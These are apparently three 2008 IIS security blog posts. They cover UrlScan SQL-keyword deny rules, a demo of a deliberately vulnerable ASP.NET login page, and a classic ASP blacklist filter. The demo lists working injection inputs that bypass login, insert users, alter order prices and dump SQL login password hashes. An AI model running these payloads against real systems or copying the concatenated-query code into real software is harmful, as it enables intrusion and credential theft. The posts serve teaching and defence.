Nazim's IIS Security Blog : SQL injection

Using the new rules configuration in UrlScan v3.0 Beta (Part 2)

naziml — Mon, 30 Jun 2008 20:41:00 GMT

Dissecting the SQL injection sample in the walkthrough

I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that SQL injection is a web application issue, and hence the right place to fix it is in the web application. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.

[SQL Injection]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=1
ScanHeaders=

[SQL Injection Strings]
--
%3b ; a semicolon
/*
@ ; also catches @@
char ; also catches nchar and varchar
alter
begin
cast
create
cursor
declare
delete
drop
end
exec ; also catches execute
fetch
insert
kill
open
select
sys ; also catches sysobjects and syscolumns
table
update

So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.

The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).

[SQL Injection Headers]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Headers Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=0
ScanHeaders=Cookie:

[SQL Injection Headers Strings]
--
@ ; also catches @@
alter
cast
convert
create
declare
delete
drop
exec ; also catches execute
fetch
insert
kill
select

For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.

Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog here.

SQL Injection Demo

naziml — Wed, 30 Apr 2008 22:12:00 GMT

SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.

Here are the ingredients for this demo:

ASP.NET application using System.Data.SqlClient to access a SQL database.
SQLExpress (or any other db) with some tool to directly author to the database.

CAUTION: This is a sample to demo SQLInjection and is hence insecure. Do not use this sample as the basis for a web application.

Setting up the Database

I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.

Enable the sa account and gave it a password.
Connect to the database with this account to make sure it works. You can use SQL Server Management Studio Express (SSMSE) to do this.
Create a database called WebApp and create tables as follows.

Populate the tables with sample data.
Try running a few queries against through SSMSE to make sure things work, eg:

SELECT * FROM Users; SELECT * From Orders;

Setting up a Web Application on your Server

I used IIS 7.0 and ASP.NET 2.0, but you could use other tools as well.

Make sure IIS is running and that you can access the default page.
Under the same directory you can add the following ASP.NET page (SQLLoginUnsafe.aspx) and the code-behind file (SQLLoginUnsafe.aspx.cs)
Here is the sample ASP.NET page, SqlLoginUnsafe.aspx.

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="SQLLoginUnsafe.aspx.cs" 
    Inherits="SQLLoginUnsafe" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">
    <title>Untitled Page</title>
</head>

<body>
    <form id="form1" runat="server">
    <div>
    
        This is the Unsafe SQL Login Page.<br />
        <br />
        Username:</div>
    <asp:TextBox ID="TextBoxUsername" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Password:<br />
    <asp:TextBox ID="TextBoxPassword" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Result:<br />
    <asp:Label ID="LabelResult" runat="server" Text="-"></asp:Label>
    <br />
    <br />
    <asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click" 
        Text="Login" />
    <br />
    <br />
    <asp:Label ID="LabelData" runat="server" Text="Here is your Order history" 
        Visible="False"></asp:Label>
    <br />
    <br />
    <asp:GridView ID="GridView1" runat="server" Visible="False">
    </asp:GridView>
    <br />
    <asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click" 
        Text="Logout" Visible="False" />
    <br />
    <br />
    </form>
</body>
</html>

Here is the sample code-behind the ASP.Net page, SQLLoginUnsafe.aspx.cs.

/*
 * SQLLoginUnsafe.aspx.cs
 * Author: Nazim Lala
 * 
 */
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Text;
using System.Data;
using System.Data.SqlClient;

public partial class SQLLoginUnsafe : System.Web.UI.Page
{
    private string _username;
    private string _password;
    private bool _loggedIn = false;

    private string _connString = 
        @"Data Source=.\SQLEXPRESS;"+
        "Initial Catalog=WebApp;"+
        "Integrated Security=True;";

    private SqlConnection _sqlConn = null;

    protected void ButtonLogin_Click(object sender, EventArgs e)
    {
        _username = Request["TextBoxUsername"];
        _password = Request["TextBoxPassword"];

        if (!IsNonEmptyCredentials())
        {
            LabelResult.Text = "ERROR: Cannot have empty credentials.";
            return;
        }

        if (AttemptSQLLogin())
        {
            // Login succeeded
            
            // Fill order data
            FillOrderData();

            EnableLoggedInVisuals();

        }
        else
        {
            DisableLoggedInVisuals();
        }

    }

    protected bool IsNonEmptyCredentials()
    {
        if (_username == null ||
             _username.Length == 0 ||
             _password == null ||
             _password.Length == 0)
        {
            return false;
        }
        else return true;
 
    }

    protected bool AttemptSQLLogin()
    {
        try
        {
            _sqlConn = new SqlConnection(_connString);
            _sqlConn.Open();
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to open SQL Connection: {0}", ex.Message);
            return false;
        }

        SqlDataReader dataReader = null;

        string SQLQuery = String.Format(
            "SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'", 
            _username, _password);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

            if (dataReader.HasRows)
            {
                LabelResult.Text = String.Format("Login success");
                dataReader.Close();
                _loggedIn = true;
                return true;
            }
            else
            {
                LabelResult.Text = String.Format(
                    "Login failed: Invalid credentials");
                dataReader.Close();
                return false;
            }

        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }

        //return true;
    }

    protected bool FillOrderData()
    {
        SqlDataReader dataReader = null;

        if (!_loggedIn)
        {
            LabelResult.Text = "No user logged it";
            return false;
        }

        string SQLQuery = String.Format(
            "SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard "+
            "FROM Users, Orders WHERE Users.Username='{0}' "+
            "AND Users.UserId=Orders.UserId", _username);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.Default);

            GridView1.DataSource = dataReader;
            GridView1.DataBind();

            dataReader.Close();

            return true;
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }
    }

    protected void ButtonLogout_Click(object sender, EventArgs e)
    {
        LabelResult.Text = "Logged Out";
        _loggedIn = false;
        _username = "";
        _password = "";
        DisableLoggedInVisuals();
    }

    protected void EnableLoggedInVisuals()
    {
        ButtonLogin.Enabled = false;
        ButtonLogin.Visible = false;
        LabelData.Visible = true;
        GridView1.Enabled = true;
        GridView1.Visible = true;
        ButtonLogout.Enabled = true;
        ButtonLogout.Visible = true;
        
    }

    protected void DisableLoggedInVisuals()
    {
        ButtonLogin.Enabled = true;
        ButtonLogin.Visible = true;
        LabelData.Visible = false;
        GridView1.Enabled = false;
        GridView1.Visible = false;
        ButtonLogout.Enabled = false;
        ButtonLogout.Visible = false;
        
    }
}

Make sure you can access the website from your local machine.

Making the SQL Injection Requests

Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.

Trying an invalid user/password.

Username: Unknown
Password: unknown

As expected we get a login failure.
Bypassing login for a known user. Let's say we know user 'Foo' exists.

Username: Foo'--
Password: junk

By using '--' for commenting out the rest of the conditions in the query we have been able to skip password validation for user 'Foo'
Bypassing login for unknown user. Let's say we don't know any user on the site.

Username: ' OR 1=1--
Password: junk

We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users.
Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.

Username: ';INSERT INTO Users VALUES (100,'Hijack','This')--
Password: junk

But now using those credentials succeeds.
Changing price of all orders to 0.01

Username: ';UPDATE Orders Set Amount=0.01--
Password: junk

And using an earlier example to list all orders we see that all the prices have changed.
Injecting SQL users and password hashes into the Orders table and getting it to display

So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
The answer is simple, we inject all the information into the Orders table and get the query to display it.

Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
Password: junk

Now that we have user names and password hashes, you could use one of several external hash cracking tools to actually get to the password.

Conclusion

It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.

Sanitize your input using both black lists and white lists.
Use parameterized SQL and NEVER use string concatenation to generate queries.
Protect your database resources wisely and use the notion of "least privilege" to access information.

Hope this helped in making SQL injection a more concrete issue to protect your applications against, rather than a buzz word.

Filtering SQL injection from Classic ASP

naziml — Mon, 28 Apr 2008 18:53:00 GMT

SQL injection may be over a decade old, but even the best of us need a reminder once in a while. You should always validate input to your applications! There isn’t a ‘one size fits all’ solution to sanitizing input, so I will attempt to show what a general solution might look like for classic ASP (using VBScript). Remember, you need to keep in mind the specifics of your web application and add/remove things in the sample accordingly. So even though I am focusing on SQL injection here, input validation needs to be done to even prevent cross-site scripting attacks, among others. Check this article on how to prevent XSS to give you an idea of other sorts of validation that would need to be done on user input to secure a web application. If you are looking for something for ASP.NET check out this post from Stefan on the ASP.NET team.

Now that UrlScan v3.0 (x86, x64) is out I would highly recommend using that instead of this script. There is also a walk-through for it on implementing SQL injection blocking configuration.

Please note:

The purpose of this sample is to get folks off the ground and up and running. This is not intended to be a long-term solution to solving SQL injection attacks against your application. Using black lists like in the sample tend to give a lot of false positives that make many applications unusable. Increasing complexity in the list to avoid this leads to performance issues. Also, such simplistic signatures can be worked around by determined hackers. Consider UN/**/ION for example.

You want to use white lists and rules to sanitize input. You should restrict your web application to using stored procedures and calling them using parameterized SQL APIs.

The way this sample is constructed is that I have a script that checks certain inputs against a ‘black list’ of strings, and if I find a match I redirect to an error page. This script can then be ‘included’ into all public facing application scripts that process user input. There are 3 pieces to this solution: the script with the filtering logic, a sample application that will ‘include’ the filtering script and an error page we would forward to. I have added comments to the scripts themselves, so you have the reminders in front of you. Several folks asked about a send email script, so I have included a sample script for that as well. You will need to incorporate it into your application appropriately. Make sure you read the comments in the code as well for all the assumptions. The right way to do db access from web applications is to use parameterized SQL. Check out Neil Carpenter's blog here on what this looks like.

SqlCheckInclude.asp

This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get ‘included’ into several applications that may all reside in different physical directories.

<% 
'  SqlCheckInclude.asp
'
'  Author: Nazim Lala
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.


Dim BlackList, ErrorPage, s

'
'  Below is a black list that will block certain SQL commands and 
'  sequences used in SQL injection will help with input sanitization
'
'  However this is may not suffice, because:
'  1) These might not cover all the cases (like encoded characters)
'  2) This may disallow legitimate input
'
'  Creating a raw sql query strings by concatenating user input is 
'  unsafe programming practice. It is advised that you use parameterized
'  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
'  on how to do this using ADO from ASP.
'
'  Moreover, you need to also implement a white list for your parameters.
'  For example, if you are expecting input for a zipcode you should create
'  a validation rule that will only allow 5 characters in [0-9].
'

BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update")

'  Populate the error page you want to redirect to in case the 
'  check fails.

ErrorPage = "/ErrorPage.asp"
               
'''''''''''''''''''''''''''''''''''''''''''''''''''               
'  This function does not check for encoded characters
'  since we do not know the form of encoding your application
'  uses. Add the appropriate logic to deal with encoded characters
'  in here 
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str) 
  On Error Resume Next 
  
  Dim lstr 
  
  ' If the string is empty, return true
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  
  ' Check if the string contains any patterns in our
  ' black list
  For Each s in BlackList
  
    If ( InStr (lstr, s) <> 0 ) Then
      CheckStringForSQL = true
      Exit Function
    End If
  
  Next
  
  CheckStringForSQL = false
  
End Function 


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s)) ) Then
  
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  
  End If
Next

'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.QueryString
  If ( CheckStringForSQL(Request.QueryString(s)) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)

    End If
  
Next


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Cookies
  If ( CheckStringForSQL(Request.Cookies(s)) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)

  End If
  
Next


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Add additional checks for input that your application
'  uses. (for example various request headers your app 
'  might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''

%>

TestPage.asp

This is a sample that shows how to ‘include’ the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.

<% 
'  TestPage.asp
'
'  Author: Nazim Lala
'
'  This is a file to test the SQLCheckInclude file. The idea here is that you add
'  the include file to the beginning of every asp page to get SQL injection 
'  input validation


%>

<!--#include file="SqlCheckInclude.asp"-->
<%
Response.Write("Welcome to the Test Page.")
Response.Write("If you are seeing this page then SQL validation succeeded.")
%>

ErrorPage.asp

If a ‘black list’ string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness.

<% 
'  ErrorPage.asp
'
'  Author: Nazim Lala
'
'  This is the error page that users will be redirected to if the input cannot
'  be validated

%>
<%Response.Write("ERROR: Invalid Input")%>

SendEmail.asp

This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.

<% 

'  SendEmail.asp
'  Author: Nazim Lala
    
Function SendEmail(email, msg) 
  On Error Resume Next 
  
  ' If the string is empty, return false
  If ( IsEmpty(email) ) Then
    SendEmail = false
    Exit Function
  ElseIf ( StrComp(email, "") = 0 ) Then
    SendEmail = false
    Exit Function
  End If
  

  Set cdoConfig = CreateObject("CDO.Configuration")  

  With cdoConfig.Fields  
      .Item(cdoSendUsingMethod) = cdoSendUsingPort  
      ' Fill in server name for remote SMTP server and
      ' credentials
      .Item(cdoSMTPServer) = "smtpserver.foo.com"  
      .Item(cdoSMTPAuthenticate) = 1  
      .Item(cdoSendUsername) = "username"  
      .Item(cdoSendPassword) = "password"  
      .Update  
  End With 

  Set cdoMessage = CreateObject("CDO.Message")  

  With cdoMessage 
    'Fill in sender information
    Set .Configuration = cdoConfig 
    .From = "me@myself.com" 
    .To = email 
    .Subject = "Test Email" 
    .TextBody = msg 
    .Send 
  End With 

  Set cdoMessage = Nothing  
  Set cdoConfig = Nothing  
  
  SendEmail = true
  
End Function 


%>


<FORM VERB=POST METHOD="POST"> 
Test page for checking input with possible SQL injection.<br><br>
Email: <INPUT NAME=Email></INPUT><BR>
Message: <INPUT NAME=Message></INPUT><BR>
Sent: <% = SendEmail(Request("Email"),Request("Message")) %><BR> 
<BUTTON TYPE=SUBMIT>Submit</BUTTON> 
</FORM>

Hope this helps. If folks are averse to VBScript I can cook up something for Jscript if there is demand.